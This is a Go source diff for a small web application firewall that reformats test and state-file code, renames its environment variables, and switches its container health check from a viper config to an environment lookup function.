params.Enabled = false
|
||||||
|
|
||||||
@@ -375,7 +406,12 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
|
|||||||
|
|
||||||
// The edit's second line has an unknown action, so the rules stay as
|
// The edit's second line has an unknown action, so the rules stay as
|
||||||
// they were, the first line's earlier version included.
|
// they were, the first line's earlier version included.
|
||||||
save(t, dir, firstFile, "first path block ^/edited\nsecond path bann ^/second\n")
|
save(
|
||||||
|
t,
|
||||||
|
dir,
|
||||||
|
firstFile,
|
||||||
|
"first path block ^/edited\nsecond path bann ^/second\n",
|
||||||
|
)
|
||||||
|
|
||||||
line := lines.waitFor(t, hasError)
|
line := lines.waitFor(t, hasError)
|
||||||
want := filepath.Join(dir, firstFile) +
|
want := filepath.Join(dir, firstFile) +
|
||||||
@@ -393,7 +429,11 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
|
|||||||
if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError ||
|
if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError ||
|
||||||
waiting[0].Reason != hasError || waiting[0].Detail["error"] != want ||
|
waiting[0].Reason != hasError || waiting[0].Detail["error"] != want ||
|
||||||
waiting[0].Detail["file"] != filepath.Join(dir, firstFile) {
|
waiting[0].Detail["file"] != filepath.Join(dir, firstFile) {
|
||||||
t.Errorf("alerts waiting %+v, want one file_error alert for %q", waiting, want)
|
t.Errorf(
|
||||||
|
"alerts waiting %+v, want one file_error alert for %q",
|
||||||
|
waiting,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
wantFileError()
|
wantFileError()
|
||||||
@@ -402,8 +442,16 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
|
|||||||
wantMatched(t, files, get(t, "/second"))
|
wantMatched(t, files, get(t, "/second"))
|
||||||
|
|
||||||
// Once mended, the file is read again, and raises no alert.
|
// Once mended, the file is read again, and raises no alert.
|
||||||
save(t, dir, firstFile, "first path block ^/edited\nsecond path ban ^/second\n")
|
save(
|
||||||
lines.waitUntil(t, func() bool { return len(files.Match(get(t, "/second"))) == 1 })
|
t,
|
||||||
|
dir,
|
||||||
|
firstFile,
|
||||||
|
"first path block ^/edited\nsecond path ban ^/second\n",
|
||||||
|
)
|
||||||
|
lines.waitUntil(
|
||||||
|
t,
|
||||||
|
func() bool { return len(files.Match(get(t, "/second"))) == 1 },
|
||||||
|
)
|
||||||
wantMatched(t, files, get(t, "/edited"), "first")
|
wantMatched(t, files, get(t, "/edited"), "first")
|
||||||
wantFileError()
|
wantFileError()
|
||||||
}
|
}
|
||||||
@@ -559,7 +607,10 @@ func load(t *testing.T, files ruleFiles) *rules.Files {
|
|||||||
// watch loads the rules in dir, runs their Watch until the test ends, and
|
// watch loads the rules in dir, runs their Watch until the test ends, and
|
||||||
// waits until it watches the directory. It returns the alerts' queue as
|
// waits until it watches the directory. It returns the alerts' queue as
|
||||||
// well.
|
// well.
|
||||||
func watch(t *testing.T, dir string) (*rules.Files, processLog, *alerts.Queue) {
|
func watch(
|
||||||
|
t *testing.T,
|
||||||
|
dir string,
|
||||||
|
) (*rules.Files, processLog, *alerts.Queue) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
params, lines := newParams(dir)
|
params, lines := newParams(dir)
|
||||||
@@ -611,21 +662,31 @@ func get(t *testing.T, target string) *http.Request {
|
|||||||
|
|
||||||
// wantRefusedBy checks that a GET request for target with the user agent
|
// wantRefusedBy checks that a GET request for target with the user agent
|
||||||
// sent matches rule alone, and that rule refuses it.
|
// sent matches rule alone, and that rule refuses it.
|
||||||
func wantRefusedBy(t *testing.T, files *rules.Files, target, sent, rule string) {
|
func wantRefusedBy(
|
||||||
|
t *testing.T,
|
||||||
|
files *rules.Files,
|
||||||
|
target, sent, rule string,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
r := get(t, target)
|
r := get(t, target)
|
||||||
r.Header.Set(userAgent, sent)
|
r.Header.Set(userAgent, sent)
|
||||||
|
|
||||||
matched := files.Match(r)
|
matched := files.Match(r)
|
||||||
if len(matched) != 1 || matched[0].ID != rule || matched[0].Action == rules.ActionLog {
|
if len(matched) != 1 || matched[0].ID != rule ||
|
||||||
|
matched[0].Action == rules.ActionLog {
|
||||||
t.Errorf("%s from %q matched %v, want %s alone, refusing it", target,
|
t.Errorf("%s from %q matched %v, want %s alone, refusing it", target,
|
||||||
sent, ids(matched), rule)
|
sent, ids(matched), rule)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// wantMatched checks the ids of the rules r matches, in order.
|
// wantMatched checks the ids of the rules r matches, in order.
|
||||||
func wantMatched(t *testing.T, files *rules.Files, r *http.Request, want ...string) {
|
func wantMatched(
|
||||||
|
t *testing.T,
|
||||||
|
files *rules.Files,
|
||||||
|
r *http.Request,
|
||||||
|
want ...string,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := ids(files.Match(r))
|
got := ids(files.Match(r))
|
||||||
|
|||||||
+127
-42
@@ -1,14 +1,14 @@
|
|||||||
// Package state keeps sww's state in JSON files, as the "Persistent
|
// Package state keeps sww's state in JSON files, as the "Persistent
|
||||||
// state" section of SPEC.md requires and docs/state-files.md lists them.
|
// state" section of SPEC.md requires and docs/state-files.md lists them.
|
||||||
//
|
//
|
||||||
// The state files are in SWW_WAF_STATE_DIR:
|
// The state files are in SWW_STATE_DIR:
|
||||||
// - bans.json holds the bans;
|
// - bans.json holds the bans;
|
||||||
// - clients.json holds each client's counters and history;
|
// - clients.json holds each client's counters and history;
|
||||||
// - abuseipdb-checks-spent.json holds the AbuseIPDB checks spent today;
|
// - abuseipdb-checks-spent.json holds the AbuseIPDB checks spent today;
|
||||||
// - alerts.json holds the cooldowns, the hour under way, the alerts
|
// - alerts.json holds the cooldowns, the hour under way, the alerts
|
||||||
// waiting for each destination and the anomaly counters.
|
// waiting for each destination and the anomaly counters.
|
||||||
//
|
//
|
||||||
// The cache files are in SWW_WAF_CACHE_DIR. Each keeps answers from an
|
// The cache files are in SWW_CACHE_DIR. Each keeps answers from an
|
||||||
// outside service, which are fetched again when the file is lost:
|
// outside service, which are fetched again when the file is lost:
|
||||||
// - lookups.json holds GeoJS's answers;
|
// - lookups.json holds GeoJS's answers;
|
||||||
// - lists.json holds the last try and last good copy of each list
|
// - lists.json holds the last try and last good copy of each list
|
||||||
@@ -89,7 +89,11 @@ func fileNames() []string {
|
|||||||
// isCacheFile reports whether name is the name of a cache file.
|
// isCacheFile reports whether name is the name of a cache file.
|
||||||
func isCacheFile(name string) bool {
|
func isCacheFile(name string) bool {
|
||||||
switch name {
|
switch name {
|
||||||
case lookupsJSON, listsJSON, dnsblJSON, abuseIPDBScoresJSON, routeWatchJSON:
|
case lookupsJSON,
|
||||||
|
listsJSON,
|
||||||
|
dnsblJSON,
|
||||||
|
abuseIPDBScoresJSON,
|
||||||
|
routeWatchJSON:
|
||||||
return true
|
return true
|
||||||
default:
|
default:
|
||||||
return false
|
return false
|
||||||
@@ -103,25 +107,29 @@ var (
|
|||||||
errCause = errors.New("is not limit, attack, admin or crowdsec")
|
errCause = errors.New("is not limit, attack, admin or crowdsec")
|
||||||
errExpires = errors.New("is not after its start")
|
errExpires = errors.New("is not after its start")
|
||||||
errDestination = errors.New("is not webhook, slack or ntfy")
|
errDestination = errors.New("is not webhook, slack or ntfy")
|
||||||
errScope = errors.New("is not client, net, asn, total or watched_net")
|
errScope = errors.New(
|
||||||
errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` +
|
"is not client, net, asn, total or watched_net",
|
||||||
`destination: put the list under "webhook", as "waiting": {"webhook": [...]}, ` +
|
)
|
||||||
`or remove the file`)
|
errWaitingList = errors.New(
|
||||||
|
`waiting is a list, but now lists the alerts by ` +
|
||||||
|
`destination: put the list under "webhook", as "waiting": {"webhook": [...]}, ` +
|
||||||
|
`or remove the file`,
|
||||||
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
// Params are what Load needs.
|
// Params are what Load needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// Dir is the directory of the state files (SWW_WAF_STATE_DIR), and
|
// Dir is the directory of the state files (SWW_STATE_DIR), and
|
||||||
// CacheDir that of the cache files (SWW_WAF_CACHE_DIR).
|
// CacheDir that of the cache files (SWW_CACHE_DIR).
|
||||||
Dir string
|
Dir string
|
||||||
CacheDir string
|
CacheDir string
|
||||||
// WriteDelay is how long after a ban is made bans.json is written
|
// WriteDelay is how long after a ban is made bans.json is written
|
||||||
// (SWW_WAF_STATE_WRITE_DELAY), and CounterInterval how often every file
|
// (SWW_STATE_WRITE_DELAY), and CounterInterval how often every file
|
||||||
// is (SWW_WAF_STATE_COUNTER_INTERVAL).
|
// is (SWW_STATE_COUNTER_INTERVAL).
|
||||||
WriteDelay time.Duration
|
WriteDelay time.Duration
|
||||||
CounterInterval time.Duration
|
CounterInterval time.Duration
|
||||||
// Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and
|
// Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and
|
||||||
// Anomalies hold the state. RouteWatch is nil while SWW_WAF_ROUTEWATCH_URL is
|
// Anomalies hold the state. RouteWatch is nil while SWW_ROUTEWATCH_URL is
|
||||||
// unset, and routewatch.json then holds no answers. Alerts also receive a
|
// unset, and routewatch.json then holds no answers. Alerts also receive a
|
||||||
// file_error alert for an edit set aside, and for a write that fails while
|
// file_error alert for an edit set aside, and for a write that fails while
|
||||||
// sww runs.
|
// sww runs.
|
||||||
@@ -257,12 +265,12 @@ type stateFile interface {
|
|||||||
func Load(params Params) (*Files, error) {
|
func Load(params Params) (*Files, error) {
|
||||||
err := checkWritable(params.Dir)
|
err := checkWritable(params.Dir)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("SWW_WAF_STATE_DIR cannot be written: %w", err)
|
return nil, fmt.Errorf("SWW_STATE_DIR cannot be written: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
err = checkWritable(params.CacheDir)
|
err = checkWritable(params.CacheDir)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("SWW_WAF_CACHE_DIR cannot be written: %w", err)
|
return nil, fmt.Errorf("SWW_CACHE_DIR cannot be written: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
f := &Files{params: params, sums: map[string][sha256.Size]byte{}}
|
f := &Files{params: params, sums: map[string][sha256.Size]byte{}}
|
||||||
@@ -283,9 +291,23 @@ func Load(params Params) (*Files, error) {
|
|||||||
f.readCache(abuseIPDBScoresJSON)
|
f.readCache(abuseIPDBScoresJSON)
|
||||||
f.readCache(routeWatchJSON)
|
f.readCache(routeWatchJSON)
|
||||||
|
|
||||||
params.ProcessLog.Info("read the state and cache files", "directory", params.Dir,
|
params.ProcessLog.Info(
|
||||||
"cache_directory", params.CacheDir, "bans", bansRead, "clients", clientsRead,
|
"read the state and cache files",
|
||||||
"lookups", lookupsRead, "lists", listsRead, "alerts_waiting", alertsRead)
|
"directory",
|
||||||
|
params.Dir,
|
||||||
|
"cache_directory",
|
||||||
|
params.CacheDir,
|
||||||
|
"bans",
|
||||||
|
bansRead,
|
||||||
|
"clients",
|
||||||
|
clientsRead,
|
||||||
|
"lookups",
|
||||||
|
lookupsRead,
|
||||||
|
"lists",
|
||||||
|
listsRead,
|
||||||
|
"alerts_waiting",
|
||||||
|
alertsRead,
|
||||||
|
)
|
||||||
|
|
||||||
return f, nil
|
return f, nil
|
||||||
}
|
}
|
||||||
@@ -344,8 +366,11 @@ func (f *Files) WriteAll() error {
|
|||||||
func (f *Files) Watch(ctx context.Context) {
|
func (f *Files) Watch(ctx context.Context) {
|
||||||
watcher, err := fsnotify.NewWatcher()
|
watcher, err := fsnotify.NewWatcher()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
f.params.ProcessLog.Error("cannot watch the state and cache files for edits",
|
f.params.ProcessLog.Error(
|
||||||
"error", err.Error())
|
"cannot watch the state and cache files for edits",
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -395,8 +420,11 @@ func (f *Files) Watch(ctx context.Context) {
|
|||||||
f.fileChanged(name)
|
f.fileChanged(name)
|
||||||
}
|
}
|
||||||
case err = <-watcher.Errors:
|
case err = <-watcher.Errors:
|
||||||
f.params.ProcessLog.Warn("watching the state and cache files failed",
|
f.params.ProcessLog.Warn(
|
||||||
"error", err.Error())
|
"watching the state and cache files failed",
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -416,7 +444,10 @@ func (f *Files) logFailure(name string, err error) {
|
|||||||
Event: alerts.EventFileError,
|
Event: alerts.EventFileError,
|
||||||
Reason: failed,
|
Reason: failed,
|
||||||
Detail: map[string]any{
|
Detail: map[string]any{
|
||||||
"file": filepath.Join(f.dir(name), name), "error": err.Error(),
|
"file": filepath.Join(
|
||||||
|
f.dir(name),
|
||||||
|
name,
|
||||||
|
), "error": err.Error(),
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
f.params.ProcessLog.Error(failed, "error", err.Error())
|
f.params.ProcessLog.Error(failed, "error", err.Error())
|
||||||
@@ -457,7 +488,11 @@ func (f *Files) takeInEdit(name string, data []byte) error {
|
|||||||
// Counted before it is logged, so that the count is there once the
|
// Counted before it is logged, so that the count is there once the
|
||||||
// log line is.
|
// log line is.
|
||||||
f.params.Metrics.StateFileEditTakenIn(name)
|
f.params.Metrics.StateFileEditTakenIn(name)
|
||||||
f.params.ProcessLog.Info(tookIn, "file", filepath.Join(f.dir(name), name))
|
f.params.ProcessLog.Info(
|
||||||
|
tookIn,
|
||||||
|
"file",
|
||||||
|
filepath.Join(f.dir(name), name),
|
||||||
|
)
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -508,8 +543,13 @@ func (f *Files) readCache(name string) int {
|
|||||||
// start, unless it is nil.
|
// start, unless it is nil.
|
||||||
func (f *Files) logUnread(name string, err error) {
|
func (f *Files) logUnread(name string, err error) {
|
||||||
if err != nil {
|
if err != nil {
|
||||||
f.params.ProcessLog.Warn("cannot read a cache file, so its cache starts empty",
|
f.params.ProcessLog.Warn(
|
||||||
"file", filepath.Join(f.dir(name), name), "error", err.Error())
|
"cannot read a cache file, so its cache starts empty",
|
||||||
|
"file",
|
||||||
|
filepath.Join(f.dir(name), name),
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -520,7 +560,8 @@ func (f *Files) logUnread(name string, err error) {
|
|||||||
func (f *Files) readChanged(name string) ([]byte, bool, error) {
|
func (f *Files) readChanged(name string) ([]byte, bool, error) {
|
||||||
path := filepath.Join(f.dir(name), name)
|
path := filepath.Join(f.dir(name), name)
|
||||||
|
|
||||||
data, err := os.ReadFile(path) //nolint:gosec // a file in one of the two directories
|
//nolint:gosec // a file in one of the two directories
|
||||||
|
data, err := os.ReadFile(path)
|
||||||
if errors.Is(err, fs.ErrNotExist) {
|
if errors.Is(err, fs.ErrNotExist) {
|
||||||
return nil, false, nil
|
return nil, false, nil
|
||||||
}
|
}
|
||||||
@@ -564,7 +605,11 @@ func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) {
|
|||||||
|
|
||||||
// takeInState parses data, what the state file name, at path, holds, and
|
// takeInState parses data, what the state file name, at path, holds, and
|
||||||
// puts it in, as takeIn describes.
|
// puts it in, as takeIn describes.
|
||||||
func (f *Files) takeInState(name, path string, data []byte, edit bool) (int, error) {
|
func (f *Files) takeInState(
|
||||||
|
name, path string,
|
||||||
|
data []byte,
|
||||||
|
edit bool,
|
||||||
|
) (int, error) {
|
||||||
var entries int
|
var entries int
|
||||||
|
|
||||||
switch name {
|
switch name {
|
||||||
@@ -793,9 +838,18 @@ func (f *Files) setAside(name string, parseErr error) error {
|
|||||||
f.params.Alerts.Raise(alerts.Alert{
|
f.params.Alerts.Raise(alerts.Alert{
|
||||||
Event: alerts.EventFileError,
|
Event: alerts.EventFileError,
|
||||||
Reason: setAside,
|
Reason: setAside,
|
||||||
Detail: map[string]any{"file": path + ".bad", "error": parseErr.Error()},
|
Detail: map[string]any{
|
||||||
|
"file": path + ".bad",
|
||||||
|
"error": parseErr.Error(),
|
||||||
|
},
|
||||||
})
|
})
|
||||||
f.params.ProcessLog.Error(setAside, "file", path+".bad", "error", parseErr.Error())
|
f.params.ProcessLog.Error(
|
||||||
|
setAside,
|
||||||
|
"file",
|
||||||
|
path+".bad",
|
||||||
|
"error",
|
||||||
|
parseErr.Error(),
|
||||||
|
)
|
||||||
f.params.Metrics.StateFileEditSetAside(name)
|
f.params.Metrics.StateFileEditSetAside(name)
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
@@ -814,7 +868,9 @@ func (f *Files) encode(name string) ([]byte, error) {
|
|||||||
case lookupsJSON:
|
case lookupsJSON:
|
||||||
return encodeOnePerLine("lookups", f.params.GeoJS.Snapshot())
|
return encodeOnePerLine("lookups", f.params.GeoJS.Snapshot())
|
||||||
case listsJSON:
|
case listsJSON:
|
||||||
return encodeIndented(listsFile{Version: version, Lists: f.params.Lists.Snapshot()})
|
return encodeIndented(
|
||||||
|
listsFile{Version: version, Lists: f.params.Lists.Snapshot()},
|
||||||
|
)
|
||||||
case dnsblJSON:
|
case dnsblJSON:
|
||||||
return encodeOnePerLine("verdicts", f.params.DNSBL.Snapshot())
|
return encodeOnePerLine("verdicts", f.params.DNSBL.Snapshot())
|
||||||
case abuseIPDBScoresJSON:
|
case abuseIPDBScoresJSON:
|
||||||
@@ -931,7 +987,12 @@ func (f *bansFile) check(data []byte) error {
|
|||||||
case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
|
case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
|
||||||
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
|
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
|
||||||
entry.Cause != bans.CauseCrowdSec:
|
entry.Cause != bans.CauseCrowdSec:
|
||||||
return fmt.Errorf("entry %d's cause %q %w", i+1, entry.Cause, errCause)
|
return fmt.Errorf(
|
||||||
|
"entry %d's cause %q %w",
|
||||||
|
i+1,
|
||||||
|
entry.Cause,
|
||||||
|
errCause,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1140,9 +1201,17 @@ func (f *alertsFile) check([]byte) error {
|
|||||||
for i, alert := range f.Waiting[destination] {
|
for i, alert := range f.Waiting[destination] {
|
||||||
switch {
|
switch {
|
||||||
case alert.Event == "":
|
case alert.Event == "":
|
||||||
return fmt.Errorf("waiting %s %w", destination, missing(i, "event"))
|
return fmt.Errorf(
|
||||||
|
"waiting %s %w",
|
||||||
|
destination,
|
||||||
|
missing(i, "event"),
|
||||||
|
)
|
||||||
case alert.Time.IsZero():
|
case alert.Time.IsZero():
|
||||||
return fmt.Errorf("waiting %s %w", destination, missing(i, "time"))
|
return fmt.Errorf(
|
||||||
|
"waiting %s %w",
|
||||||
|
destination,
|
||||||
|
missing(i, "time"),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1215,7 +1284,12 @@ func missing(i int, field string) error {
|
|||||||
func (f *bansFile) toUTC() {
|
func (f *bansFile) toUTC() {
|
||||||
for i := range f.Bans {
|
for i := range f.Bans {
|
||||||
ban := &f.Bans[i]
|
ban := &f.Bans[i]
|
||||||
convertToUTC(&ban.Start, ban.Expires, ban.Lifted, &ban.Notes.Request.Time)
|
convertToUTC(
|
||||||
|
&ban.Start,
|
||||||
|
ban.Expires,
|
||||||
|
ban.Lifted,
|
||||||
|
&ban.Notes.Request.Time,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1223,11 +1297,18 @@ func (f *bansFile) toUTC() {
|
|||||||
func (f *clientsFile) toUTC() {
|
func (f *clientsFile) toUTC() {
|
||||||
for i := range f.Clients {
|
for i := range f.Clients {
|
||||||
client := &f.Clients[i]
|
client := &f.Clients[i]
|
||||||
convertToUTC(&client.Minute.Start, &client.Hour.Start, &client.Day.Start,
|
convertToUTC(
|
||||||
&client.MinuteBytes.Start, &client.HourBytes.Start,
|
&client.Minute.Start,
|
||||||
&client.DayBytes.Start, &client.MinuteRefusals.Start,
|
&client.Hour.Start,
|
||||||
&client.History.FirstSeen, &client.History.LastSeen,
|
&client.Day.Start,
|
||||||
&client.History.LookedUp)
|
&client.MinuteBytes.Start,
|
||||||
|
&client.HourBytes.Start,
|
||||||
|
&client.DayBytes.Start,
|
||||||
|
&client.MinuteRefusals.Start,
|
||||||
|
&client.History.FirstSeen,
|
||||||
|
&client.History.LastSeen,
|
||||||
|
&client.History.LookedUp,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1420,7 +1501,7 @@ func write(dir, name string, data []byte) error {
|
|||||||
|
|
||||||
// syncDirectory syncs dir to the disk, so that a rename in it lasts.
|
// syncDirectory syncs dir to the disk, so that a rename in it lasts.
|
||||||
func syncDirectory(dir string) error {
|
func syncDirectory(dir string) error {
|
||||||
//nolint:gosec // SWW_WAF_STATE_DIR or SWW_WAF_CACHE_DIR itself
|
//nolint:gosec // SWW_STATE_DIR or SWW_CACHE_DIR itself
|
||||||
directory, err := os.Open(dir)
|
directory, err := os.Open(dir)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
@@ -1431,8 +1512,12 @@ func syncDirectory(dir string) error {
|
|||||||
|
|
||||||
// writeSynced writes data to the file at path, and syncs it to the disk.
|
// writeSynced writes data to the file at path, and syncs it to the disk.
|
||||||
func writeSynced(path string, data []byte) error {
|
func writeSynced(path string, data []byte) error {
|
||||||
//nolint:gosec // a file's temporary file, in SWW_WAF_STATE_DIR or SWW_WAF_CACHE_DIR
|
//nolint:gosec // a file's temporary file, in SWW_STATE_DIR or SWW_CACHE_DIR
|
||||||
file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, fileMode)
|
file, err := os.OpenFile(
|
||||||
|
path,
|
||||||
|
os.O_WRONLY|os.O_CREATE|os.O_TRUNC,
|
||||||
|
fileMode,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|||||||
+515
-163
File diff suppressed because it is too large.
Load diff
+34
-16
@@ -10,8 +10,6 @@ import (
|
|||||||
"net/url"
|
"net/url"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/spf13/viper"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||||
)
|
)
|
||||||
@@ -23,17 +21,19 @@ var errHealthEndpoint = errors.New("the health endpoint answered")
|
|||||||
|
|
||||||
// HealthCheck is the container's health check. In waf's container, where
|
// HealthCheck is the container's health check. In waf's container, where
|
||||||
// SWW_COMMAND is waf, it returns 0 while waf answers its health
|
// SWW_COMMAND is waf, it returns 0 while waf answers its health
|
||||||
// endpoint on 127.0.0.1, at the port in SWW_WAF_LISTEN_ADDR. In rproxy's container,
|
// endpoint on 127.0.0.1, at the port in SWW_LISTEN_ADDR. In rproxy's container,
|
||||||
// where SWW_COMMAND is rproxy, unset or empty, it returns 0 while rproxy
|
// where SWW_COMMAND is rproxy, unset or empty, it returns 0 while rproxy
|
||||||
// answers its health endpoint on 127.0.0.1, at the port in SWW_RPROXY_LISTEN_ADDR, and
|
// answers its health endpoint on 127.0.0.1, at the port in SWRP_LISTEN_ADDR, and
|
||||||
// the app accepts connections at the address in SWW_RPROXY_UPSTREAM_URL. Otherwise,
|
// the app accepts connections at the address in SWRP_UPSTREAM_URL. Otherwise,
|
||||||
// any other value of SWW_COMMAND included, it writes why to stderr and
|
// any other value of SWW_COMMAND included, it writes why to stderr and
|
||||||
// returns 1. It reads no other setting, nor a file that another names, so neither
|
// returns 1. It reads no other setting, nor a file that another names, so neither
|
||||||
// can fail it.
|
// can fail it.
|
||||||
// args are the arguments after `healthcheck`; it takes none, and given
|
// args are the arguments after `healthcheck`; it takes none, and given
|
||||||
// one it names it on stderr and returns 1 without checking anything.
|
// one it names it on stderr and returns 1 without checking anything.
|
||||||
func HealthCheck(
|
func HealthCheck(
|
||||||
ctx context.Context, args []string, v *viper.Viper,
|
ctx context.Context,
|
||||||
|
args []string,
|
||||||
|
lookupEnv func(string) (string, bool),
|
||||||
stderr io.Writer,
|
stderr io.Writer,
|
||||||
) int {
|
) int {
|
||||||
if len(args) > 0 {
|
if len(args) > 0 {
|
||||||
@@ -46,15 +46,15 @@ func HealthCheck(
|
|||||||
ctx, cancel := context.WithTimeout(ctx, healthCheckTimeout)
|
ctx, cancel := context.WithTimeout(ctx, healthCheckTimeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
command, err := config.Command(v)
|
command, err := config.Command(lookupEnv)
|
||||||
|
|
||||||
switch {
|
switch {
|
||||||
case err != nil:
|
case err != nil:
|
||||||
err = fmt.Errorf("invalid setting: %w", err)
|
err = fmt.Errorf("invalid setting: %w", err)
|
||||||
case command == "waf":
|
case command == "waf":
|
||||||
err = checkWAF(ctx, v)
|
err = checkWAF(ctx, lookupEnv)
|
||||||
default:
|
default:
|
||||||
err = checkRProxyAndApp(ctx, v)
|
err = checkRProxyAndApp(ctx, lookupEnv)
|
||||||
}
|
}
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -67,8 +67,10 @@ func HealthCheck(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// checkWAF asks waf's health endpoint.
|
// checkWAF asks waf's health endpoint.
|
||||||
func checkWAF(ctx context.Context, v *viper.Viper) error {
|
func checkWAF(
|
||||||
listenAddr, err := config.WAFListenAddr(v)
|
ctx context.Context, lookupEnv func(string) (string, bool),
|
||||||
|
) error {
|
||||||
|
listenAddr, err := config.WAFListenAddr(lookupEnv)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("invalid setting: %w", err)
|
return fmt.Errorf("invalid setting: %w", err)
|
||||||
}
|
}
|
||||||
@@ -82,8 +84,12 @@ func checkWAF(ctx context.Context, v *viper.Viper) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// checkRProxyAndApp asks rproxy's health endpoint, and connects to the app.
|
// checkRProxyAndApp asks rproxy's health endpoint, and connects to the app.
|
||||||
func checkRProxyAndApp(ctx context.Context, v *viper.Viper) error {
|
func checkRProxyAndApp(
|
||||||
listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(v)
|
ctx context.Context, lookupEnv func(string) (string, bool),
|
||||||
|
) error {
|
||||||
|
listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(
|
||||||
|
lookupEnv,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("invalid setting: %w", err)
|
return fmt.Errorf("invalid setting: %w", err)
|
||||||
}
|
}
|
||||||
@@ -93,7 +99,11 @@ func checkRProxyAndApp(ctx context.Context, v *viper.Viper) error {
|
|||||||
return fmt.Errorf("ask rproxy: %w", err)
|
return fmt.Errorf("ask rproxy: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", appAddress(upstreamURL))
|
conn, err := (&net.Dialer{}).DialContext(
|
||||||
|
ctx,
|
||||||
|
"tcp",
|
||||||
|
appAddress(upstreamURL),
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("connect to the app: %w", err)
|
return fmt.Errorf("connect to the app: %w", err)
|
||||||
}
|
}
|
||||||
@@ -107,9 +117,17 @@ func checkRProxyAndApp(ctx context.Context, v *viper.Viper) error {
|
|||||||
// listenAddr, which the settings have checked has one.
|
// listenAddr, which the settings have checked has one.
|
||||||
func askHealthEndpoint(ctx context.Context, listenAddr string) error {
|
func askHealthEndpoint(ctx context.Context, listenAddr string) error {
|
||||||
_, port, _ := net.SplitHostPort(listenAddr)
|
_, port, _ := net.SplitHostPort(listenAddr)
|
||||||
health := "http://" + net.JoinHostPort("127.0.0.1", port) + waf.HealthPath
|
health := "http://" + net.JoinHostPort(
|
||||||
|
"127.0.0.1",
|
||||||
|
port,
|
||||||
|
) + waf.HealthPath
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, health, http.NoBody)
|
req, err := http.NewRequestWithContext(
|
||||||
|
ctx,
|
||||||
|
http.MethodGet,
|
||||||
|
health,
|
||||||
|
http.NoBody,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("make the request: %w", err)
|
return fmt.Errorf("make the request: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,7 +12,6 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/sww"
|
"sneak.berlin/go/smallwebwaf/internal/sww"
|
||||||
)
|
)
|
